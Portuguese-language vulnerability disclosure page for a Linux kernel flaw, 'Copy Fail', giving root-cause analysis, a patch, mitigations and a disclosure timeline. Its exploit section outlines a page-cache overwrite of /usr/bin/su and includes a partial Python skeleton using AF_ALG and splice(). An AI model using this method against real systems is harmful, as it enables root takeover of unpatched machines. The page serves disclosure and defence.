CVE-2026-31431 — Copy Fail

732 bytes. Qualquer distro. Root.

Uma falha lógica linear no template criptográfico authencesn do kernel Linux permite que um usuário local sem privilégios realize uma escrita controlada e precisa de 4 bytes no cache de páginas de qualquer arquivo legível — incluindo binários setuid. Sem corridas. Sem tentativas. Sem recompilação. Root em todas as principais distribuições Linux lançadas desde 2017.

📄 Artigo Técnico  ·  🔗 Patch do Kernel  ·  🛡️ CVSS: Crítico

Distribuições Testadas

Todas as quatro foram comprometidas usando o mesmo script Python de 732 bytes, sem modificação.

O Que Torna Isso Diferente

Causa Raiz

A Configuração: Páginas do Cache de Páginas em um Scatterlist Gravável

AF_ALG expõe o subsistema criptográfico do kernel ao espaço do usuário sem privilégios. splice() transfere dados de arquivos para um pipe por referência — passando as páginas do cache de páginas diretamente, sem cópia. Quando um usuário faz splice de um arquivo em um socket AEAD AF_ALG, o scatterlist de entrada do socket mantém referências ativas às páginas em cache do kernel daquele arquivo.

Em algif_aead.c, a otimização in-place de 2017 copiou AAD e texto cifrado do scatterlist TX para o buffer RX, mas encadeou as páginas da tag de autenticação por referência usando sg_chain(), e então definiu req->src = req->dst:

SGL de entrada: [ AAD | CT | Tag ]
                              ^
                              └─ sg_chain() → ainda aponta para páginas do cache de páginas

SGL de saída:  [ AAD | CT ] ──→ [ Tag (páginas do cache de páginas) ]
              (buffer RX)       (encadeado do SGL TX)

req->src ──┐
           ├──→ mesmo scatterlist combinado
req->dst ──┘

As páginas do cache de páginas de splice() agora estavam dentro de um scatterlist de destino gravável, separadas da região de escrita legítima apenas por um limite de deslocamento. Nada na API impunha que os algoritmos permanecessem dentro dos limites.

O Gatilho: Escrita de Rascunho Fora dos Limites de authencesn

authencesn é um wrapper AEAD usado pelo IPsec para suporte a Número de Sequência Estendido (ESN) de 64 bits. Para reorganizar os bytes ESN para o cálculo HMAC, ele usa o buffer de destino do chamador como espaço de rascunho — incluindo uma escrita no deslocamento assoclen + cryptlen, que fica além do limite da tag de autenticação:

scatterwalk_map_and_copy(tmp,     dst, 0,                       8, 0); // lê AAD[0..7]
scatterwalk_map_and_copy(tmp,     dst, 4,                       4, 1); // sobrescreve dst[4..7]
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen,     4, 1); // ← escreve além da tag

A terceira chamada escreve 4 bytes (seqno_lo) em dst[assoclen + cryptlen]. No caminho in-place do AF_ALG, o scatterwalk cruza do buffer RX para as páginas de tag do cache de páginas encadeadas. O kernel mapeia a página do cache de páginas via kmap_local_page e escreve diretamente na cópia em cache do arquivo alvo.

O HMAC então falha (o texto cifrado é fabricado), recvmsg() retorna um erro — mas a escrita de 4 bytes persiste permanentemente.

As Três Variáveis Controladas pelo Atacante

Como Aconteceu: Uma Cadeia de Nove Anos

Nenhuma mudança individual estava errada por si só. A vulnerabilidade vive na interseção de todas as três.

Exploit

O alvo padrão é /usr/bin/su, um binário setuid-root presente em todas as distribuições testadas.

Passo 1 — Configuração do socket
  Abrir socket AF_ALG, vincular a authencesn(hmac(sha256),cbc(aes))
  Definir chave. Aceitar socket de requisição. (Nenhum privilégio necessário.)

Passo 2 — Loop de escrita (uma vez por bloco de shellcode de 4 bytes)
  sendmsg()  →  bytes AAD [4:8] carregam os 4 bytes a escrever (seqno_lo)
  splice()   →  páginas do cache de páginas do arquivo alvo no socket AF_ALG
  recv()     →  aciona decrypt → authencesn escreve seqno_lo no cache de páginas
               (recvmsg retorna erro; a escrita persiste)

Passo 3 — Execução
  execve("/usr/bin/su")
  Kernel carrega o binário do cache de páginas (agora corrompido)
  Binário setuid-root executa shellcode injetado → UID 0

a = socket.socket(38, 5, 0)                          # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# ... definir chave, aceitar socket de requisição u ...
u.sendmsg([b"A"*4 + payload_chunk], [cmsg_headers], MSG_MORE)
os.splice(target_fd, pipe_wr, offset)
os.splice(pipe_rd, alg_fd, offset)
u.recv(...)                                          # aciona escrita no cache de páginas

Remediação

Correção Permanente

Atualize para um kernel contendo o patch a664bf3d603d. A correção reverte algif_aead.c para operação fora do lugar: req->src aponta para o SGL TX; req->dst aponta para o buffer RX. As páginas do cache de páginas de splice() permanecem somente leitura. O mecanismo sg_chain() que as vinculava ao destino gravável é removido.

// Antes (vulnerável): src e dst compartilham o mesmo scatterlist
aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src, rsgl_src, used, ctx->iv);

// Depois (corrigido): src é SGL TX, dst é buffer RX — totalmente separados
aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, rsgl_dst, used, ctx->iv);

Mitigação Imediata

Desative o módulo do kernel algif_aead:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null

Ou bloqueie a criação de sockets AF_ALG via uma política seccomp em seus perfis de workload.

Nota para ambientes de contêineres: Como o cache de páginas é compartilhado no host, esta vulnerabilidade cruza fronteiras de contêineres. Aplique mitigações no nível do nó, não apenas por pod. Veja a Parte 2 para detalhes completos de escape Kubernetes.

Linha do Tempo de Divulgação Coordenada

Descoberta

O pesquisador da Theori Taeyang Lee identificou, através de trabalhos anteriores com kernelCTF, que AF_ALG + splice() cria um caminho onde o espaço do usuário sem privilégios pode alimentar páginas do cache de páginas diretamente no subsistema criptográfico — e que a proveniência de páginas em scatterlists era uma classe de vulnerabilidade pouco explorada.

A equipe de pesquisa usou o Xint Code para escalar essa percepção por todo o subsistema crypto/ com o seguinte prompt de operador:

"Este é o subsistema crypto/ do Linux. Examine todos os caminhos de código alcançáveis a partir de syscalls do espaço do usuário. Observe uma percepção-chave: splice() pode entregar referências do cache de páginas de arquivos somente leitura (incluindo binários setuid) para scatterlists TX criptográficos."

Após aproximadamente uma hora de análise automatizada, Copy Fail foi o resultado de maior severidade. Vulnerabilidades adicionais descobertas durante a mesma varredura permanecem sob divulgação coordenada.

Parte 2: Do Pod ao Host — como o Copy Fail escapa de todas as principais plataformas Kubernetes em nuvem. Em breve.